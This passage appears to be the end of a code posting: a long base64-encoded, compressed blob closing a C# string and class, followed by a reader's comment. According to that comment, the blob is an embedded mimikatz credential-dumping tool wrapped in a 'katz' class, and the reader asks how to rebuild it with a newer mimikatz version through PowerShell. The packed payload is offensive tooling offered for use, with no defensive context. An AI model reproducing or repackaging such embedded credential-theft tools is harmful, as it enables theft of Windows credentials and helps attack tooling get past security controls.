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";
}
}

Hello Smith,
thanks for sharing the code, i was trying to make it with updated mimikatz since this you have done is latest 2015.
to be honest i didn't understand how you got it .. i tried execute the step on top with power shell and copy/paste the content of file.b64 over the part "public class katz" but did not work .. mind to point me on the correct way to do it please ?

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